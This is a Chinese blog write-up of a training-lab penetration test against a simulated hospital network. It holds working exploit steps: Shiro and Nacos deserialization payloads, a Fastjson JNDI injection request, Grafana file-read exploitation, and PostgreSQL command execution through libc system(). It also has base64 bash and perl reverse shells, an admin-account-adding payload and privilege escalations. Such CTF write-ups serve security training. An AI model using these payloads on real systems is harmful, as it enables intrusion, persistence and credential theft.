iami233
iami233
文章156
标签37
分类4

文章分类

文章归档

春秋云镜 Hospital Writeup

春秋云镜 Hospital Writeup

写在前面

身为春秋云镜首批注册用户,发觉居然就做了俩 CVE 复现题目,属是不该,博主决定痛改前非。近日充值了 沙砾体验包简直毫无体验感,主要是沙砾太贵了!,一整套下来感觉靶机质量还是挺不错的,平均下来花费差不多7¥/h。鉴于该靶机为博主做的第一个,所以直接发布在博客吧,以后的春秋云镜题解都放私有 Repo 咯

描述:在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个 flag,分布于不同的靶机。

标签:内网渗透、Nacos、Shiro、Fastjson、Decrypt

难度:简单

内网地址Host or FQDN简要描述
172.30.12.5Web01Spring + Shiro
172.30.12.6Server02Nacos
172.30.12.236 172.30.54.179Web03Fastjson
172.30.54.12Web04Grafana + Postgresql

Spring Boot Heapdump + Shiro Deserialization

打开环境,发现直接一个登录框,通过扫描发现使用了 Shiro 框架,但是 Shiro key 爆破不出。

img

通过目录扫描发现其存在 Spring Boot Heapdump 泄露

1
http://39.101.171.120:8080/actuator/heapdump

我们通过 whwlsfb/JDumpSpiderHeapdump 文件进行分析,得到 Shiro key

1
2
3
4
5
6
7
java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar .\heapdump
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

===========================================

img

直接通过 内存马 功能直接一键注入内存马(这里不清楚为何哥斯拉无法连接成功,所以选择了冰蝎)

img

连接过后我们直接反弹 shell

1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyX2lwLzUwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}'

反弹过后,直接尝试查找 SUID 权限,根据输出发现 vim.basic 具有 S 权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app@web01:~$ >id
uid=1000(app) gid=1000(app) groups=1000(app)

app@web01:~$ >find / -perm -u=s -type f 2>/dev/null
/usr/bin/vim.basic
/usr/bin/su
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/at
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/stapbpf
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device

我们直接用 vim.basic 写公钥获得 root 权限,注意这里比较阴间,重置了好几次才写入成功,直接粘的话,开头的 s 会丢失,注意手动加上,粘贴完后直接 ESC:wq! 强制保存退出即可。

1
app@web01:~$ vim.basic /root/.ssh/authorized_keys

通过 ssh 链接后,得到 flag01

1
2
3
4
5
6
7
8
9
10
app@web01:~$ cat /root/flag/flag01.txt
O)) O)) O)) O))
O)) O)) O) O)) O))
O)) O)) O)) O)))) O) O)) O)O) O) O)) O))
O)))))) O)) O)) O)) O)) O) O)) O)) O)) O)) O)) O))
O)) O))O)) O)) O))) O) O))O)) O)) O)) O)) O))
O)) O)) O)) O)) O))O)) O)) O)) O)) O)) O)) O))
O)) O)) O)) O)) O))O)) O)) O)) O)) O)))O)))
O))
flag01: flag{70eeb696-31a8-43a6-9a10-fa1f6cdd091d}

我们通过 fscan 对其内网网段进行扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
app@web01:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.30.12.5 netmask 255.255.0.0 broadcast 172.30.255.255
inet6 fe80::216:3eff:fe18:389c prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:18:38:9c txqueuelen 1000 (Ethernet)
RX packets 126907 bytes 109788180 (109.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 66990 bytes 85292215 (85.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1066 bytes 94313 (94.3 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1066 bytes 94313 (94.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

app@web01:~$ ./fscan -h 172.30.12.5/24 -hn 172.30.12.5

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.30.12.6 is alive
(icmp) Target 172.30.12.236 is alive
[*] Icmp alive hosts len is: 2
172.30.12.236:8009 open
172.30.12.236:22 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:8080 open
172.30.12.6:445 open
172.30.12.6:8848 open
[*] alive ports len is: 7
start vulscan
[*] NetBios 172.30.12.6 WORKGROUP\SERVER02
[*] NetInfo
[*]172.30.12.6
[->]Server02
[->]172.30.12.6
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
[*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass

发现内网存在两套系统,我们通过 FRP 搭建代理后,使用 Proxifier 连接使用即可

1
2
3
4
5
6
7
8
9
10
11
12
13
# frpc.ini
[common]
server_addr = 服务器地址
server_port = 5000

[plugin_socks6]
type = tcp
remote_port = 5001
plugin = socks5

# frps.ini
[common]
bind_port = 5000

Nacos Client Yaml Deserialization

我们先访问 Nacos 服务:http://172.30.12.6:8848

img

反手一个弱口令进入后台 nacos:nacos,获取到的配置文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
server:
port: 8080
servlet:
context-path: /hello

spring:
application:
name: db-config
cloud:
nacos:
discovery:
server-addr: 127.0.0.1:8848
config:
server-addr: 127.0.0.1:8848
file-extension: yaml
namespace: dev
group: DEFAULT_GROUP
data-id: db-config.yaml
datasource:
mysql:
url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true
username: root
password: P@ssWord!!!
redis:
host: localhost
port: 6379

management:
endpoints:
web:
exposure:
include: '*'

image-20240126091335903

我们用 charonlight/NacosExploitGUI 工具检测一下存在的漏洞

img

根据检测结果我们尝试 Nacos Client Yaml 反序列化漏洞,修改 artsploit/yaml-payload 制作一个恶意包

只需要修改 AwesomeScriptEngineFactory.java 文件中的内容即可,我们直接添加一个管理员账户:

1
2
3
4
5
6
7
8
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("net user iami233 Admin123.. /add");
Runtime.getRuntime().exec("net localgroup administrators iami233 /add");
} catch (IOException e) {
e.printStackTrace();
}
}

然后我们将上面的源代码编译为 jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~]
└─# javac -version
javac 1.8.0_202

┌──(root㉿kali)-[~]
└─# jjavac src/artsploit/AwesomeScriptEngineFactory.java

┌──(root㉿kali)-[~]
└─# jjar -cvf yaml-payload.jar -C src/ .
已添加清单
正在添加: artsploit/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: artsploit/AwesomeScriptEngineFactory.class(输入 = 1686) (输出 = 714)(压缩了 57%)
正在添加: artsploit/AwesomeScriptEngineFactory.java(输入 = 1577) (输出 = 423)(压缩了 73%)
正在忽略条目META-INF/
正在添加: META-INF/services/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: META-INF/services/javax.script.ScriptEngineFactory(输入 = 36) (输出 = 38)(压缩了 -5%)/

上传到 Web01 入口机器中,然后起一个 Web服务 使之可以访问

1
python3 -m http.server 80

另外 Jar路径 填内网地址,同时可以多执行几次,确保成功

img

之后进行常规的远程桌面链接即可链接即可,最后在 Administrator 用户目录下发现 flag02

1
2
3
4
5
6
7
8
9
10
11
88        88                                   88                    88  
88 88 "" ,d 88
88 88 88 88
88aaaaaaaa88 ,adPPYba, ,adPPYba, 8b,dPPYba, 88 MM88MMM ,adPPYYba, 88
88""""""""88 a8" "8a I8[ "" 88P' "8a 88 88 "" `Y8 88
88 88 8b d8 `"Y8ba, 88 d8 88 88 ,adPPPPP88 88
88 88 "8a, ,a8" aa ]8I 88b, ,a8" 88 88, 88, ,88 88
88 88 `"YbbdP"' `"YbbdP"' 88`YbbdP"' 88 "Y888 `"8bbdP"Y8 88
88
88
flag02: flag{fa50a01b-da80-4bfa-8347-b06a2a838725}

img

Fastjson Deserialization

我们接着访问 医院后台管理平台 服务:http://172.30.12.236:8080/

image-20240126091725535

Burp 抓取登录包发现发送的为 Json 数据,猜测为 Fastjson,发送 Payload 后得到版本号 1.2.45

1
{"@type": "java.lang.AutoCloseable"

image-20240126091856814

经过测试主机不出网,我们在 Web01 机器上传 welk1n/JNDI-Injection-Exploit 进行反弹 shell,或者使用 amaz1ngday/fastjson-exp 直接注入内存马

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzAuMTIuNS81MDAwIDA+JjE=}|{base64,-d}|{bash,-i}" -A "172.30.12.5"

image-20240126093001867

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login HTTP/1.1
Host: 172.30.12.236:8080
Content-Length: 232
Content-Type: application/json

{
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://172.30.12.5:1099/za0gik",
"autoCommit": true
}
}

image-20240126093007877

注意我们还需要在 Web01 监听 5000 端口,这样会发现 shell 正常反弹过来了

image-20240126093017221

反弹过来之后为了方便操作,我们直接修改 root 用户的密码后 ssh 连接

1
2
3
4
root@web03:/# passwd
New password: 123456
Retype new password: 123456
passwd: password updated successfully

连接后得到 flag03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@web03:# cat /root/flag/flag03.txt
cat flag03.txt
/$$ /$$ /$$ /$$ /$$
| $$ | $$ |__/ | $$ | $$
| $$ | $$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$$$$$ /$$$$$$ | $$
| $$$$$$$$ /$$__ $$ /$$_____/ /$$__ $$| $$|_ $$_/ |____ $$| $$
| $$__ $$| $$ \ $$| $$$$$$ | $$ \ $$| $$ | $$ /$$$$$$$| $$
| $$ | $$| $$ | $$ \____ $$| $$ | $$| $$ | $$ /$$ /$$__ $$| $$
| $$ | $$| $$$$$$/ /$$$$$$$/| $$$$$$$/| $$ | $$$$/| $$$$$$$| $$
|__/ |__/ \______/ |_______/ | $$____/ |__/ \___/ \_______/|__/
| $$
| $$
|__/
flag03: flag{7a07e237-57fa-4876-b6ef-403fc96eb309}

我们通过 fscan 对其内网网段进行扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
root@web03:/tmp# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.30.12.236 netmask 255.255.0.0 broadcast 172.30.255.255
inet6 fe80::216:3eff:fe25:9c89 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:25:9c:89 txqueuelen 1000 (Ethernet)
RX packets 65031 bytes 91745086 (91.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8914 bytes 2116186 (2.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.30.54.179 netmask 255.255.255.0 broadcast 172.30.54.255
inet6 fe80::216:3eff:fe25:814d prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:25:81:4d txqueuelen 1000 (Ethernet)
RX packets 321 bytes 13482 (13.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 337 bytes 14738 (14.7 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1010 bytes 87469 (87.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1010 bytes 87469 (87.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@web03:/tmp# ./fscan -h 172.30.54.179/24 -hn 172.30.54.179
./fscan -h 172.30.54.179/24 -hn 172.30.54.179

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
(icmp) Target 172.30.54.12 is alive
[*] Icmp alive hosts len is: 1
172.30.54.12:3000 open
172.30.54.12:5432 open
172.30.54.12:22 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://172.30.54.12:3000 code:302 len:29 title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle http://172.30.54.12:3000/login code:200 len:27909 title:Grafana

Grafana Unauthorized Arbitrary File Reading

根据 fscan 扫描结果发现只有两个服务,GrafanaPostgreSQL,由于目前不在一个网段了,所以我们这里就需要搭建二层代理,操作可以参考我之前的文章 某内网渗透内部赛 Writeup

image-20240126094918400

经过测试发现存在弱口令 admin:admin,但是对我们帮助不大, 结合 PostgreSQL 服务猜测可能是考察 Grafana 经典文件读取漏洞,读取 postgresql 用户密码。经过测试,确实存在 CVE-2021-43798

image-20240126095430404

我们直接通过 A-D-Team/grafanaExp 对其进行利用

1
2
3
4
5
6
root@web03:/tmp# ./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
2024/01/26 10:00:02 Target vulnerable has plugin [alertlist]
2024/01/26 10:00:02 Got secret_key [SW2YcwTIb9zpOOhoPsMm]
2024/01/26 10:00:02 There is [0] records in db.
2024/01/26 10:00:02 type:[postgres] name:[PostgreSQL] url:[localhost:5432] user:[postgres] password[Postgres@123] database:[postgres] basic_auth_user:[] basic_auth_password:[]
2024/01/26 10:00:02 All Done, have nice day!

PostgreSQL Getshell

通过上面得到的账号密码 postgres:Postgres@123,连接 PostgreSQL 后得到其版本号 8.1.0

1
2
select version()
PostgreSQL 8.1.0 on x86_64-unknown-linux-gnu, compiled by GCC gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0s

然后我们对 root 用户的密码进行修改

1
2
3
ALTER USER root WITH PASSWORD '123456'
OK
时间: 0.327s

PostgreSQL <= 8.1 可以通过调用系统的动态链接库 libc.so.6 来实现命令执行

1
2
3
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT
OK
时间: 0.314s

注意,创建函数成功后,执行命令时当返回值为 0 表示执行成功,其它值则是执行失败。我们使用 perl 反弹 shell,注意在 Web03 机器上监听端口

1
select system('perl -e \'use Socket;$i="172.30.54.179";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

image-20240126101427935

反弹过后,我们先获取一个交互式 shell,然后使用 psql 进行 sudo 提权

1
2
3
4
5
6
7
8
9
$ python3 -c 'import pty;pty.spawn("/bin/bash")'

postgres@web04:/usr/local/pgsql/data$ sudo -l
Matching Defaults entries for postgres on web04:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User postgres may run the following commands on web04:
(ALL) NOPASSWD: /usr/local/postgresql/bin/psql

注意利用 psql 需要为绝对路径,否则需要 Linux 用户 postgres 的密码,其次需要 PostgreSQL 数据库中 root 用户的密码,不过前面我们修改过了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
postgres@web04:/usr/local/pgsql/data$ sudo /usr/local/postgresql/bin/psql
sudo /usr/local/postgresql/bin/psql
Password: 123456

Welcome to psql 8.1.0, the PostgreSQL interactive terminal.

Type: \copyright for distribution terms
\h for help with SQL commands
\? for help with psql commands
\g or terminate with semicolon to execute query
\q to quit

root=# \?
Input/Output
--More--!/bin/bash
root@web04:/usr/local/pgsql/data# whoami
root

最后得到 flag04

1
2
3
4
5
6
7
8
9
10
11
12
root@web04:/usr/local/pgsql/data# cat /root/flag/flag04.txt
,, ,,
`7MMF' `7MMF' db mm `7MM
MM MM MM MM
MM MM ,pW"Wq. ,pP"Ybd `7MMpdMAo.`7MM mmMMmm ,6"Yb. MM
MMmmmmmmMM 6W' `Wb 8I `" MM `Wb MM MM 8) MM MM
MM MM 8M M8 `YMMMa. MM M8 MM MM ,pm9MM MM
MM MM YA. ,A9 L. I8 MM ,AP MM MM 8M MM MM
.JMML. .JMML.`Ybmd9' M9mmmP' MMbmmd' .JMML. `Mbmo`Moo9^Yo..JMML.
MM
.JMML.
flag04: flag{7d8aa98c-b772-4a63-82ab-200822987560}
本文作者:iami233
本文链接:https://5ime.cn/yunjing-hospital.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可